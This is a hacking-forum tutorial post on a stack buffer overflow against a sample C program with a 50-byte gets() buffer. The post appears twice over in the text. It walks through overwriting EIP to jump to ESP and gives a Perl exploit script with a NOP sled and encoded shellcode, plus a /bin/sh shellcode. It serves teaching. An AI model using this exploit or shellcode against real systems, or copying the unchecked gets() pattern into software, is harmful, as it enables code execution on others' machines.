Buffer overflow on a vulnerable C program. 07-10-2013, 10:50 AM
#1
A lot of programs vulnerable to this form of attacked are 9/10 times in the C and low level languages. For this example I will be using this vulnerable software code:
As you can probably see the buffer is made to hold 50 characters of input passed to it. Now what happens if we exceed that? To answer it will over write to memory and overrun the buffer with attacking shell code.
Some things to know:
EIP, or instruction pointer. The address where EIP points to always contains the code that will be executed next. We over write this instruction pointer to a different address in the system's memory. Here is a nice example, if we submit all the AAAA characters.
We now know that 0854FD4C is the new instruction pointer that we need to overwrite to plant our shell code. The previous AAAAA characters simply carry us to our own code.
Another important thing is the ESP register.
This is the address for the top of the stack, the EIP instruction points to JMP ESP which given the return address by the attacker is told to execute our shell code pay load. This sounds confusing but lets show some print screens, I will perform this one on Windows.
Lets try and crash our program first:
![[Image: biA7rK.jpg]](http://i.cubeupload.com/biA7rK.jpg)
Bingo, we successfully made it crash by overflowing the buffer allocation size and causing a segmentation fault. Remember in hexadecimal the A character is represented by 41.
What we want is the ESP register address so we can point the EIP to it at the top of the stack to run our shell code. Here you can see the ESP address below:
![[Image: C7ggUV.jpg]](http://i.cubeupload.com/C7ggUV.jpg)
22ff60 is the ESP in memory and as you can see its holding our input AAAA. Given this information we now possess we can now write up a simple exploit containing our shell code instead of the AAAA's and spawn a shell or whatever we may choose:
I advise reading up on NOPS and how they can be used in assembly. It stands for no operation and simply means do nothing and increases the chances of the program control flow landing at our shell code in the buffer:
This shell code is nothing more than a calculator, and if performed successfully you will notice that the program crashes and a calculator is spawned. This is what happens when an attackers wants to spawn a /bin/sh shell or something more malicious. A /bin/sh shell would look like this:
char shellcode[] =
"\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
This is a stack based overflow in its simplest form. I did not touch on the fundamentals or registers/memory too much individually, just the overall process and what actually happens to cause the results that it does.
Hope you enjoyed reading, VV.
PHP Code:
#include <unistd.h>
void Test()
{
char buff[50];
printf("Some input: ");
gets(buff);
puts(buff);
}
int main(int argc, char *argv[ ])
{
Test();
return 0;
}
As you can probably see the buffer is made to hold 50 characters of input passed to it. Now what happens if we exceed that? To answer it will over write to memory and overrun the buffer with attacking shell code.
Some things to know:
EIP, or instruction pointer. The address where EIP points to always contains the code that will be executed next. We over write this instruction pointer to a different address in the system's memory. Here is a nice example, if we submit all the AAAA characters.
PHP Code:
AAAAAAAA AAAAAAAA AAAAAAAA AAAAAAAA AAAAAAAA 0854FD4C
We now know that 0854FD4C is the new instruction pointer that we need to overwrite to plant our shell code. The previous AAAAA characters simply carry us to our own code.
Another important thing is the ESP register.
This is the address for the top of the stack, the EIP instruction points to JMP ESP which given the return address by the attacker is told to execute our shell code pay load. This sounds confusing but lets show some print screens, I will perform this one on Windows.
Lets try and crash our program first:
Bingo, we successfully made it crash by overflowing the buffer allocation size and causing a segmentation fault. Remember in hexadecimal the A character is represented by 41.
What we want is the ESP register address so we can point the EIP to it at the top of the stack to run our shell code. Here you can see the ESP address below:
22ff60 is the ESP in memory and as you can see its holding our input AAAA. Given this information we now possess we can now write up a simple exploit containing our shell code instead of the AAAA's and spawn a shell or whatever we may choose:
I advise reading up on NOPS and how they can be used in assembly. It stands for no operation and simply means do nothing and increases the chances of the program control flow landing at our shell code in the buffer:
PHP Code:
my $file= "bof2.exe"; //call vulnerable file
my $crash= "A" x 80; //perform the crash
my $eip = pack('V',0x22FF60); //overwrite EIP with call esp return address
my $bytes = "XXXX"; //add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x90" x 25; //start shellcode with some NOPS to increase chances of landing at our shellcode.
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
open($FILE,">$file");
print $FILE $crash.$eip.$bytes.$shellcode;
close($FILE);
This shell code is nothing more than a calculator, and if performed successfully you will notice that the program crashes and a calculator is spawned. This is what happens when an attackers wants to spawn a /bin/sh shell or something more malicious. A /bin/sh shell would look like this:
char shellcode[] =
"\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
This is a stack based overflow in its simplest form. I did not touch on the fundamentals or registers/memory too much individually, just the overall process and what actually happens to cause the results that it does.
Hope you enjoyed reading, VV.
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
